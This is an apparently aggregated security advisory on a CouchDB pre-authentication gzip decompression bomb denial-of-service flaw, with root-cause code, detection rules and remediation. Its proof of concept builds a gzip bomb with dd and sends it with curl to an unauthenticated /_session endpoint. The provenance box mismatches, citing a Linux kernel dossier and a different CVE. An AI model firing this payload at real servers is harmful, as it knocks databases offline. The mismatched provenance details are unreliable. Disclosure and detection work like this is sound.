CVE-2026-90797: Apache CouchDB Pre-Auth Gzip Decompression Bomb Denial of Service
A critical denial of service vulnerability (CVE-2026-90797) has been disclosed in Apache CouchDB versions 3.5.2 and earlier. The chttpd daemon decompressed gzip-encoded request bodies prior to completing client authentication checks on endpoints like POST /_session. Crucially, payload size limitations were evaluated solely against the compressed input size rather than the inflated memory buffer. An unauthenticated attacker transmitting a tiny compressed archive (gzip bomb) can exhaust server RAM, terminating the Erlang VM and bringing down cluster nodes. Upgrading to CouchDB 3.5.3 remedies this vulnerability. Hermes rates this vector at HTS 83 (HIGH).
HERMES THREAT SCORE & CLUSTER AVAILABILITY RESILIENCE
Target:Apache CouchDB HTTP Decompression Subsystem (/src/chttpd/) CVSS v3.1 rates this flaw at 7.5 High, whereas CVSS v4.0 evaluates the systemic availability impact at 7.7 / 9.2 (Critical/High). Hermes Threat Score assigns 83 (HIGH) due to zero pre-requisites: because CouchDB instances frequently expose /_session to support web application login interfaces, an unauthenticated attacker can bring down all cluster members with minimal network bandwidth.
CVE-2026-90797: Apache CouchDB Pre-Auth Gzip Decompression Bomb Denial of ServiceVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
๐ Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in Linux Kernel Core documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
1. Executive Summary & Overview
Section titled โ1. Executive Summary & OverviewโApache CouchDB exposes an HTTP-based REST API managed by the chttpd application. To optimize bandwidth usage between clients and the database, CouchDB accepts compressed payloads using Content-Encoding: gzip or Content-Encoding: deflate.
Prior to version 3.5.3, decompression occurred before the request reached authentication middleware. Because CouchDB only checked whether the compressed payload exceeded max_http_request_size (default 64MB or 4GB), an attacker could send a 1MB compressed stream that expands to dozens of gigabytes in memory, exhausting RAM and knocking the database offline.
2. Technical Root Cause & Mechanics (CWE-400 / CWE-776)
Section titled โ2. Technical Root Cause & Mechanics (CWE-400 / CWE-776)โIn chttpd.erl, incoming request bodies with gzip encoding were processed via zlib:gunzip/1 without passing a streaming size limit counter:
%% Vulnerable pattern in chttpd:maybe_decompress(#httpd{req_body = Body, req_headers = Headers} = Req) -> case chttpd:header_value(Req, "Content-Encoding") of "gzip" -> %% Size check was performed on byte_size(Body), NOT on decompressed result! Decompressed = zlib:gunzip(Body), Req#httpd{req_body = Decompressed}; _ -> Req end.When receiving repeated requests containing sparse or recursive byte sequences, the BEAM allocator consumes all available host swap and RAM, triggering an unrecoverable system_limit or kernel OOM signal.
3. Attack Vector & Proof-of-Concept
Section titled โ3. Attack Vector & Proof-of-Conceptโ# Generate a 1GB sparse payload compressed into ~100KB:dd if=/dev/zero bs=1M count=1000 | gzip -9 > bomb.gz
# Send to unauthenticated CouchDB session endpoint:curl -v -X POST "http://couchdb.target.internal:5984/_session" \ -H "Content-Type: application/json" \ -H "Content-Encoding: gzip" \ --data-binary @bomb.gz4. Affected Versions & Remediation Matrix
Section titled โ4. Affected Versions & Remediation Matrixโ| Product | Vulnerable Versions | Patched Version | Update Urgency |
|---|---|---|---|
| Apache CouchDB | <= 3.5.2 (All Platforms) | 3.5.3 | HIGH (Immediate) |
5. Detection Engineering & Threat Hunting
Section titled โ5. Detection Engineering & Threat Huntingโalert http $EXTERNAL_NET any -> $HOME_NET 5984 ( \ msg:"ET DOS Apache CouchDB Pre-Auth Gzip Decompression Bomb (CVE-2026-90797)"; \ flow:established,to_server; \ http.method; content:"POST"; \ http.uri; content:"/_session"; fast_pattern; \ http.header; content:"Content-Encoding: gzip"; nocase; \ classtype:denial-of-service; \ sid:202690797; rev:1; \)title: CouchDB Excessive Memory Spike via Compressed Requestid: a9079700-c04c-4db0-9797-couchdb00003status: experimentaldescription: Detects rapid memory allocation in beam.smp coinciding with unauthenticated compressed HTTP POST requests.logsource: category: process_creation service: linuxdetection: selection: Image|endswith: '/beam.smp' condition: selectionlevel: high6. Remediation & Hardening Roadmap
Section titled โ6. Remediation & Hardening Roadmapโ-
Deploy Apache CouchDB 3.5.3: The update introduces streaming decompression checks, rejecting streams whose uncompressed size crosses safety thresholds.
-
Disable Request Body Compression at Reverse Proxy: If operating behind Nginx or HAProxy, disable or strip client-side
Content-Encoding: gzipon inbound requests to/_session. -
Configure Memory Limits via Cgroups: Constrain CouchDB inside systemd slices or container resource limits with restart backoff policies.